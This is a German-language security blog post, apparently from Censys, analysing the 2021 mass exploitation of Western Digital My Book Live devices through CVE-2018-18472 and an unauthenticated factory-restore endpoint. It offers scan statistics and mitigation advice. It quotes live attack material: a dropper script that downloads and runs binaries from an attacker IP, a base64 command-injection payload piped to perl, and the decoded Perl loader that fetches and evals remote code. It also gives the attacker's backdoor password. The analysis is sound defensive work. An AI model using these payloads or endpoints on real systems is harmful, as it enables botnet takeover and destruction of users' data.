Zum Inhalt springen
Treten Sie dem Censys Community Forum bei: Verbinden, teilen und gedeihen! | Start hier
Blogs

CVE-2018-18472: Western Digital My Book Live Massenausbeutung

Was ist das Problem?

Aktualisiert am 2. Juli um 1:21 PM EST

Am 24. Juni 2021 berichteten BleepingComputer und Ars Technica, dass Besitzer eines Western Digital My Book Live-Geräts feststellen mussten, dass ihre Speicherpartitionen gelöscht wurden, was bedeutet, dass jahrelange Daten, die einige Benutzer im Laufe der Zeit gesammelt haben (Heimvideos, Bilder usw.), auf unerklärliche Weise verschwunden sind. Einige Benutzer berichteten von Protokollen ihrer Geräte, die darauf hindeuteten, dass ein Werksreset auf ihrem Gerät durchgeführt wurde:

Jun 23 15:51:35 MyBookLive : System ready
Jun 23 15:51:37 MyBookLive logger: WD NAS: Email alerts REST API failed to return Success
Jun 23 15:51:37 MyBookLive : Check if new firmware is available
Jun 23 15:51:38 MyBookLive logger: Starting orion services: miocrawlerd, mediacrawlerd, communicationmanagerd
Jun 23 15:53:24 MyBookLive factoryRestore.sh: begin script:
Jun 23 15:53:24 MyBookLive shutdown[7899]: shutting down for system reboot
Jun 23 16:02:26 MyBookLive S15mountDataVolume.sh: begin script: start
Jun 23 16:02:29 MyBookLive logger: hostname=MyBookLive

Der Thread in den Western Digital-Foren erhält immer noch neue Nachrichten, wobei ein Benutzer erwähnte, dass sein WD My Book Live eine blockierte IP-Adresse ansprach, die seine Firewall glücklicherweise entschärft hatte. Der Benutzer berichtete, dass diese blockierte IP-Adresse ein Shell-Skript gehostet hat, bei dem es sich um einen Dropper zu handeln scheint, der eine zweite Nutzlast installiert und ausführt:

#!/bin/sh
n="OFJU"
if [ $# -gt 0 ]; then
  n=$@
fi
cd /tmp
for a in $n do
  rm $a
  curl -O http://185.153.196.30/$a 12
  chmod +x $a
  ./$a
done
for a in $n do
  rm -rf $a
done
rm $0

In Anbetracht des vom Benutzer berichteten Verhaltens eines My Book Live, das sich an einen (vom Angreifer kontrollierten) Dropper-Host wendet, scheint es (auch wenn es ohne ein tatsächliches Gerät schwer zu bestätigen ist), dass My Book Live-Geräte, die dem Internet ausgesetzt sind, massenhaft ausgenutzt werden, um einem Botnet beizutreten. Ein Benutzer scheint dies zu bestätigen, nachdem er die Nutzlast durch VirusTotal laufen ließ, das meldete, dass sie Teil der Linux.Ngioweb-Malware-Familie ist. Die WHOIS-Informationen der Remote-IP-Adresse, die die bösartige Nutzlast hostet (185.153.196.30), zeigen, dass der Host in der Republik Moldau ansässig ist. Ein Reverse-DNS (PTR)-Record-Lookup zeigt, dass der Host zu "ClouDedic", einem mutmaßlichen Cloud-Service-Anbieter, gehört:

Die Website des Cloud-Dienstanbieters selbst hat ein Zertifikat, das seit dem 26. März 2021 abgelaufen ist. Möglicherweise ist dies nicht die einzige IP-Adresse, die zum Ablegen der Nutzdaten verwendet wird, aber Censys hat derzeit keine Kenntnis von weiteren IP-Adressen.

Aus den Forenbeiträgen und der Ankündigung von Western Digital lässt sich schließen, dass der/die Täter die Sicherheitslücke CVE-2018-18472 ausnutzen. In der Erklärung von Western Digital wird auf diese Sicherheitslücke verwiesen und die Nutzer von My Book Live aufgefordert, ihr Gerät vom Internet zu trennen. Diese Schwachstelle wurde erstmals 2018 von den Forschern Paulos Yibelo und Daniel Eshetu von WizCase gemeldet (eine Zweitveröffentlichung des WizCase-Forschungsberichts liefert jedoch genauere Details - es ist möglich, dass WizCase die Schwachstelle in ihrem ursprünglichen Artikel entschärft hat, um eine massenhafte Ausnutzung zu verhindern, nachdem der Artikel bereits von anderen Organisationen entdeckt wurde). Die Schwachstelle ermöglicht eine einfache, nicht authentifizierte Remote-Befehlsausführung über eine einfache PUT-Anfrage an den Endpunkt /api/1.0/rest/language_configuration.

Dieses Problem ähnelt den Massenangriffen in der Vergangenheit, z. B. auf Sicherheitslücken in Apache Struts. Bei diesen Szenarien sind in der Regel zwei vom Angreifer kontrollierte Dienste und ein Opferserver betroffen:

Der Exploit, der zunächst an das My Book Live des Opfers gesendet wird, weist das Opfer an, ein vom Angreifer kontrolliertes Skript von einem vom Angreifer kontrollierten Server herunterzuladen und es auszuführen. Das Skript installiert und führt dann selbst eine Nutzlast aus, die den Opferserver (in diesem Fall ein My Book Live) dazu veranlasst, dem Botnet beizutreten. Diese Technik wird häufig von Internet-Bots verwendet, die Schwachstellen bei der Befehlsinjektion ausnutzen, da komplexere Skripte nicht ohne Weiteres in einer einzigen Zeile erstellt werden können oder es Beschränkungen für die Nutzlast gibt, wie z. B. eine feste Länge eines bestimmten Feldes, eines Anfragekörpers oder eines Headers. Das obige Bild zeigt dieses Szenario mit einem PoC, der demonstriert, dass My Book Live eine Verbindung zu einem von einem Angreifer kontrollierten Server herstellt und dessen eindeutige User-Agent-Zeichenfolge offenbart, die seine Plattformarchitektur (PowerPC) enthält. In einem realen Szenario gibt es einen weiteren Schritt, bei dem der vom Angreifer kontrollierte Server ein Skript sendet, das zum My Book Live zurückkehrt, das es ausführt (auf der Grundlage der ursprünglich gesendeten Nutzlast, die außerdem versuchen würde, das Ergebnis der cURL-Anfrage auszuwerten und nicht einfach eine Anfrage zu stellen).

Die Ausführung des Endpunkt-Exploits "language_configuration", nachdem ein Gerät in den Besitz eines Bedrohungsakteurs übergegangen ist, führt zu Herzschmerz, da der Bedrohungsakteur den RCE mit einem Kennwort geschützt hat, falls das Gerät einem Botnet angehört. Dies verhindert, dass andere Akteure das Gerät aus dem Botnetz übernehmen können, ohne das Passwort zu kennen, das dem sha1-Hash 05951edd7f05318019c4cfafab8e567afe7936d4 entspricht. Interessanterweise gibt es eine weitere Variante desselben Codeblocks in einem etwas anderen Teil von language_configuration.php mit einem anderen Hash: 56f650e16801d38f47bb0eeac39e21a8142d7da1. Dies ist vor allem deshalb interessant, weil die beiden Codeblöcke einander ähneln, aber unterschiedliche Hashes aufweisen, was darauf hindeutet, dass sie wahrscheinlich von ein und demselben Angreifer stammen, der seinen Exploit im Laufe der Zeit weiterentwickelt hat. Censys hat auch eine ähnliche Änderung an einer Datei (PHP-Fehlerhandler) namens accessDenied.php beobachtet, obwohl in diesem Fall eine Web-Shell direkt in die Datei eingefügt wurde, in der zuvor keine Schwachstelle vorhanden war. Die Änderung an accessDenied.php ähnelt der Änderung an language_configuration.php:

function put($urlPath, $queryParams=null, $ouputFormat='xml'){
    if(!isset($changes["submit"]) || sha1($changes["submit"]) != "05951edd7f05318019c4cfafab8e567afe7936d4")
    {
        die();
    }

Ein wenig weiter gedacht, entspricht der Hash 05951edd7f05318019c4cfafab8e567afe7936d4 dem Passwort p$EFx3tQWoUbFc%B%R$k@, wie aus Logdateien hervorgeht, die vom Gerät wiederhergestellt wurden und über die Ars Technica kürzlich berichtete. Es sieht so aus, als ob der Angreifer nicht wusste, dass sein Passwort im Klartext protokolliert wird, so dass es von jedem, der entweder ein My Book Live-Gerät betreibt oder ein solches emuliert (ein Honeypot), leicht wiederhergestellt werden kann. Es ist wahrscheinlich, dass mit der Zeit auch andere Passwörter auftauchen werden, wenn mehr Protokolldateien wiederhergestellt werden.

Noch interessanter ist, dass die Protokolldatei genau den Exploit enthielt, der an My Book Live gesendet wurde, was den oben beschriebenen Arbeitsablauf bestätigt:

May  9 09:00:04 MyBookLive REST_API[19838]: 192.139.120.28 PARAMETER Language_configuration PUT : language = en_US"); echo dXNlIHN0cmljdDsgdXNlIFNvY2tldDsgIHNvY2tldChTT0NLRVQsUEZfSU5FVCxTT0NLX1NUUkVBTSwoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXSkgb3IgZXhpdCAxOyBjb25uZWN0KFNPQ0tFVCxwYWNrX3NvY2thZGRyX2luKDExMjgsIGluZXRfYXRvbigiMTkyLjEzOS4xMjAuMjgiKSkpIG9yIGV4aXQgMTsgc2VuZChTT0NLRVQsIlJFUTo2TUJJY0k3bHRHSzduTklmIiwwKTsgbXkgJGxpbmU7IG15ICRjb2RlOyB3aGlsZSAoJGxpbmUgPSA8U09DS0VUPikgeyAgICAgJGNvZGUgPSBqb2luICcnLCRjb2RlLCRsaW5lOyB9IGV2YWwgJGNvZGU7IGlmKCRAKSB7ICAgICBjbG9zZSBTT0NLRVQgb3IgZXhpdCAxOyAgICAgc29ja2V0KFNPQ0tFVCxQRl9JTkVULFNPQ0tfU1RSRUFNLChnZXRwcm90b2J5bmFtZSgndGNwJykpWzJdKSBvciBleGl0IDE7ICAgICBjb25uZWN0KFNPQ0tFVCxwYWNrX3NvY2thZGRyX2luKDExMjgsIGluZXRfYXRvbigiMTkyLjEzOS4xMjAuMjgiKSkpIG9yIGV4aXQgMTsgICAgIHNlbmQoU09DS0VULCJFUlI6JEAiLDApOyAgICAgY2xvc2UgU09DS0VUOyB9IGV4aXQgMDs= | base64 -d | sudo perl >/dev/null 2>/dev/null & exit 0; #

Die Nutzdaten werden als base64-String geliefert, dekodiert und zur Ausführung in Perl geleitet. Dies ist eine recht gängige Technik, um eine komplexe Nutzlast zu übermitteln. Wir können die base64-kodierte Nutzlast einfach dekodieren, um genau zu sehen, welcher Code ausgeführt wurde:

use strict;
use Socket;
socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[2] ) or exit 1;
connect( SOCKET, pack_sockaddr_in( 1128, inet_aton("192.139.120.28") ) ) or exit 1;
send( SOCKET, "REQ:6MBIcI7ltGK7nNIf", 0 );
my $line;
my $code;
while ( $line = <SOCKET>) { $code = join '', $code, $line; }
eval $code;
if ($@) {
    close SOCKET or exit 1;
    socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[2] ) or exit 1;
    connect( SOCKET, pack_sockaddr_in( 1128, inet_aton("192.139.120.28") ) ) or exit 1;
    send( SOCKET, "ERR:$@", 0 );
    close SOCKET;
}
exit 0;

Dieser Code stellt scheinbar eine Verbindung zu 192.139.120.28 an Port 1128 (einem Nutzlastserver) her und sendet ein scheinbares Kennwort. Es wird erwartet, dass der Server mit weiterem Code antwortet, der dann von diesem Perl-Skript ausgeführt wird. Seit dem 29. Juni 2021 antwortet dieser Server nicht mehr auf diesem Port. Die IP-Adresse ist mit morewave.com, einem ISP aus Kanada, verbunden.

Dies würde jedoch nicht erklären, warum es Berichte von Benutzern gab, die behaupteten, ihre Partitionen seien gelöscht worden, und die Protokolle über die Ausführung von factoryRestore.sh auf Benutzergeräten. Obwohl diese Angreifer sicherlich Zugang hatten, um eine Werkswiederherstellung durchzuführen, gab es kaum ein Motiv, dies zu tun, da es ihren Betrieb unterbrechen würde. Censys disassemblierte die letzte verfügbare Firmware von Western Digital für My Book Live, um das Dateisystem dieser Geräte einzusehen. Es scheint eine nicht authentifizierte Zero-Day-Schwachstelle mit einem Endpunkt mit dem treffenden Namen system_factory_restore zu geben. Dieser PHP-REST-Endpunkt hat oben auskommentierten (deaktivierten) Authentifizierungscode (ja, das ist in der letzten ausgelieferten Firmware, die aus dem Jahr 2015 stammt, da diese Geräte von Western Digital nicht mehr unterstützt werden). Eine einfache POST-Anfrage an den Endpunkt system_factory_restore würde den Prozess der Wiederherstellung der Festplatte auslösen, wobei die Zeile mit sysRestoreObj->restore($changes) schließlich das Skript factoryRestore.sh auslöst, auf das in den Western Digital-Foren verwiesen wurde:

  function post($urlPath, $queryParams=null, $ouputFormat='xml'){
    //        if(!authenticateAsOwner($queryParams))
    //        {
    //            header("HTTP/1.0 401 Unauthorized");
    //            return;
    //        }

    parse_str(file_get_contents("php://input"), $changes);

    $this->logObj->LogParameters(get_class($this), __FUNCTION__, $changes);

    $sysRestoreObj = new SystemFactoryRestore();
    $result = $sysRestoreObj->restore($changes);

    switch($result){
    case 'SUCCESS':
      header("HTTP/1.0 201 Created");
      break;
    case 'BAD_REQUEST':
      header("HTTP/1.0 400 Bad Request");
      break;
    case 'SERVER_ERROR':
    default:
    header("HTTP/1.0 500 Internal Server Error");
    break; 
    }  
    $this->logObj->LogData('OUTPUT', get_class($this),  __FUNCTION__,  $result);
  }

In Zusammenarbeit mit Dan Goodin von Ars Technica, der eine Protokolldatei von einem betroffenen Gerät wiederherstellen konnte, haben wir in einer der oben erwähnten Protokolldateien Beweise für eine fortlaufende Ausnutzung dieses Problems entdeckt:

Jun 16 07:28:41 MyBookLive REST_API[28538]: 23.154.177.131 PARAMETER System_factory_restore POST : erase = format
Jun 16 07:28:42 MyBookLive REST_API[28538]: 23.154.177.131 OUTPUT System_factory_restore POST SUCCESS 

Mit zwei verschiedenen IP-Adressen wird der Status der Wiederherstellung des Werks zu einem späteren Zeitpunkt mit einer GET-Anfrage überprüft (wahrscheinlich von demselben Akteur, da diese IP-Adressen beide TOR-Ausgangsknoten sind). Diese GET-Anfrage verändert das Gerät nicht, sondern prüft lediglich den Status eines zuvor ausgegebenen POST an denselben Endpunkt (der die Wiederherstellung der Fabrik aufruft). Sie sollte aber dennoch mit einer Authentifizierung abgesichert werden:

Jun 16 07:30:20 MyBookLive REST_API[28538]: 185.220.102.250 OUTPUT System_factory_restore GET SUCCESS
...
Jun 16 08:15:00 MyBookLive REST_API[25173]: 162.247.74.27 OUTPUT System_factory_restore GET SUCCESS

Das Motiv für das massenhafte POSTing an diesen Endpunkt ist unbekannt, aber es könnte ein Versuch eines rivalisierenden Botnetzbetreibers sein, diese Geräte zu übernehmen oder unbrauchbar zu machen (wahrscheinlich werden Benutzername und Passwort auf die Standardeinstellung admin/admin zurückgesetzt, so dass ein anderer Angreifer die Kontrolle übernehmen kann), oder jemand, der das Botnetz, das wahrscheinlich schon seit einiger Zeit besteht, anderweitig stören wollte, da diese Probleme seit 2015 bestehen.

Zum Zeitpunkt der Erstellung dieses Artikels kannCensys 55.348 WD My Book Live-Geräte im Internet anhand ihrer öffentlich zugänglichen Zertifikate erkennen. Dies gibt uns einen Eindruck davon, welche Auswirkungen dieses Problem auf die globale Cybersicherheit hat. Die Vereinigten Staaten weisen mit knapp 30 % die höchste Konzentration an exponierten Hosts auf.

Seltsamerweise zeigte eine wachsende Anzahl von Geräten, die mit dem Western Digital-Zertifikat in der Censys -Suche übereinstimmten, einige Zeit später ein generisches debian_lenny-Zertifikat an. Eine weitere Analyse ergab, dass das WD My Book Live-Geräte-Image den Text "Debian GNU/Linux 5.0" in /etc/issue enthält, was Debian Lenny ist. Wenn wir etwas tiefer graben, können wir dieses Zertifikat auf dem Gerät selbst finden und seinen Fingerabdruck auslesen, was bestätigt, dass es tatsächlich in das Geräte-Image eingebettet ist:

/var/www/Admin/webapp# openssl x509 -in config/server.crt -noout -fingerprint -sha256
SHA256 Fingerprint=8D:FC:DD:A8:3D:FC:CB:8E:84:41:EA:E9:9F:6F:EF:C8:67:40:CE:11:CA:25:9A:16:DF:F2:92:9E:87:E3:D8:01

Daher ist es sehr wahrscheinlich, dass die Zunahme der debian_lenny-Zertifikate mit diesem sha256-Fingerabdruck auf eine Kompromittierung (zumindest durch einen Werksreset) hindeutet, wenn man die Hosts misst, die das Zertifikat im Laufe der Zeit im Internet präsentieren (das Gerät scheint nach der Ersteinrichtung ein von Western Digital signiertes Zertifikat zu erhalten, indem es mit einem zentralen Western Digital-Server auf wd2go.com kommuniziert). Da alle debian_lenny-Zertifikate den exakt gleichen Zertifikats-Fingerabdruck haben, können wir den Fingerabdruck des debian_lenny-Zertifikats heranziehen und alle Geräte finden, die diesen Fingerabdruck haben. Censys hat zum Zeitpunkt der Erstellung dieses Artikels 13.096 Geräte beobachtet, die diesen Hash neu präsentieren, gegenüber 437 nur 24 Stunden zuvor. Dies könnte ein guter Indikator für den Erfolg/die Auswirkungen dieses Angriffs sein. Censys wird den Fortschritt des Botnetzes weiterhin überwachen, da unsere Scan-Engine weiterhin zusätzliche Hosts entdeckt, die das debian_lenny-Zertifikat anzeigen. Wir können auch die Verteilung der wahrscheinlich kompromittierten Hosts bestimmen, indem wir die Berichtsfunktion von Censys search verwenden. In diesem Fall zeigen die Vereinigten Staaten mit knapp 50 % die wahrscheinlichsten kompromittierten Geräte.

Schließlich zeigt ein Vergleich der neueren Western Digital My Cloud-Firmware mit der My Book Live-Firmware, dass beide Geräte einen ähnlichen Code (in Bezug auf die Funktion), aber völlig unterschiedliche Codebasen haben, wobei die erstere viel sauberer und besser gestaltet ist als die letztere (z. B. enthielten die My Book Live-PHP-Dateien viele kopierte und eingefügte Authentifizierungsblöcke, ein Muster, das häufig zu Sicherheitslücken führt, während die My Cloud-Firmware ein moderneres, auf Vererbung basierendes Design verwendet, das es nachgeschaltetem Code erschwert, die Authentifizierung "neu zu erfinden" und einen Fehler einzuführen).

Warum ist das wichtig?

Heimanwender mit einem My Book Live, das dem Internet ausgesetzt ist, müssen mit ansehen, wie alle ihre Daten verschwinden, oder sie nehmen unwissentlich an einem Botnet teil. Darüber hinaus sind seit der COVID-Pandemie viele Heimanwender dazu übergegangen, ihre Heimnetzwerke zu nutzen, da die Büros der Unternehmen geschlossen wurden und die Mitarbeiter von zu Hause aus arbeiten. Fernarbeit ist greifbarer geworden, aber aus Sicht der Cybersicherheit ist sie nicht ohne Nachteile. Unternehmen mit Mitarbeitern, die von zu Hause aus arbeiten und ein My Book Live von Western Digital besitzen, können aufgrund dieses Problems einem Risiko ausgesetzt sein, da eine Kompromittierung des My Book Live-Geräts wahrscheinlich ein Risiko für Geräte bedeutet, die mit demselben Netzwerk verbunden oder überbrückt sind, in dem sich das Gerät befindet, wie z. B. Firmen-Laptops und andere Computerausrüstung.

Aktualisierungen

26.06.20, 8 UHR MORGENS, PT: Der Zertifikats-Fingerabdruck-Hash, den die Geräte präsentieren, wurde geklärt, und dass es mehrere gleichzeitige Angreifer geben kann. Censys hat auch gesehen, dass die Anzahl der exponierten Geräte von 55.348 auf 46.487 (-8.861) gesunken ist, die das Western Digital-Zertifikat präsentieren. In der Zwischenzeit ist die Anzahl der Rechner, die das debian_lenny-Zertifikat mit dem Fingerabdruck 8dfcdda83dfccb8e8441eae99f6fefc86740ce11ca259a16dff2929e87e3d801 vorzeigen, von 13.096 auf 18.627 (+5.531) gestiegen. Dies bedeutet, dass etwa 62 % der Geräte, die Censys seit dem Verfassen dieses Blogbeitrags vor etwa 12 Stunden gesehen hat, wahrscheinlich kompromittiert wurden, während die restlichen Geräte möglicherweise von ihren Besitzern offline genommen wurden (was möglicherweise von Censys übersehen wurde, obwohl dies aufgrund unseres Multi-Probe/Transit-Ansatzes für Internet-Scans zur Vermeidung vorübergehender Routing-Probleme unwahrscheinlich ist).

2021-06-28 8 UHR PT: Es wurde ein Update über den auskommentierten Authentifizierungscode in system_factory_restore hinzugefügt; es wurden Updates zu den Erkenntnissen aus der My Book Live-Firmware hinzugefügt; ein Update bezüglich der Angreiferkontrolle durch das Passwording zum Schutz des RCE wurde ebenfalls hinzugefügt. Die Anzahl der Hosts, die das My Book Live-Zertifikat anzeigen, ist auf 41.292 gesunken (-5.195 seit der letzten Aktualisierung), während 17.460 das debian_lenny-Standardzertifikat anzeigen (-1.167 seit der letzten Aktualisierung). Mit gleichzeitigen Abstürzen auf beiden Geräten, die das Western Digital- und das Standard-"debian_lenny"-Zertifikat zeigen, scheint es, als ob das Problem das Bewusstsein der Gerätebesitzer geweckt hat, die sie möglicherweise offline nehmen. Die ursprünglichen Zählungen wurden in diesem Artikel nicht geändert, um den Fortschritt bei der Überwachung des Problems zu verfolgen.

2021-06-29 7 UHR PT: Informationen über die Entdeckung der an My Book Live-Geräte gesendeten Nutzdaten durch Dan Goodin bei Ars Technica hinzugefügt; eine Analyse des Nutzdatencodes und des Endpunkts, an den die Nutzdaten gesendet wurden, hinzugefügt. Aktuelle Geräte, die das Western Digital-Zertifikat anzeigen, liegen bei 38.027 (-3.265). Geräte mit dem debian_lenny-Standardzertifikat liegen bei 13.530 (-3.930). Censys schätzt die Gesamtgröße der kompromittierten Geräte auf beide Gruppen (51.557), da es zu diesem Zeitpunkt unwahrscheinlich ist, dass ein mit dem Internet verbundenes My Book Live nicht ausgenutzt worden ist.

2021-07-01 9:30A PT: Bis heute zeigen 36.954 Geräte das Western Digital-Zertifikat (-1.073), während 11.156 das debian_lenny-Zertifikat (-2.374) zeigen.

2021-07-02 10:18A PT: Mit dem heutigen Tag zeigen 36.004 Geräte das Western Digital-Zertifikat (-950), während 9.782 das debian_lenny-Zertifikat (-1.374) zeigen.

2021-07-05 4:11P PT: Mit dem heutigen Tag zeigen 35.139 Geräte das Western Digital-Zertifikat (-865), während 8.374 das debian_lenny-Zertifikat (-1.408) zeigen.

Was kann ich dagegen tun?

  • Entfernen Sie jedes My Book Live-Gerät aus Ihrem Netzwerk
  • Stellen Sie sicher, dass Ihre Unternehmensressourcen (Laptops usw.), die von Privatanwendern genutzt werden, abgesichert sind.
  • Censys ASM kann Ihnen dabei helfen, alle wahrscheinlich kompromittierten Western Digital My Book Live-Geräte in Ihrer Angriffsfläche zu entdecken, indem Sie den obigen Zertifikatsfingerabdruck filtern.
  • Deaktivieren Sie UPnP in Ihrem Heimnetzwerk (diese Geräte haben Ports für die Fernverwaltung über UPnP geöffnet)
  • Zeigen Sie mit https://me an, welche Ports und Dienste Sie in Ihrem Heim- oder Firmennetzwerk freigegeben haben .censys.io. Deaktivieren Sie jeden Dienst, den Sie nicht kennen.

Ressourcen

Lösungen für das Management von Angriffsflächen
Mehr erfahren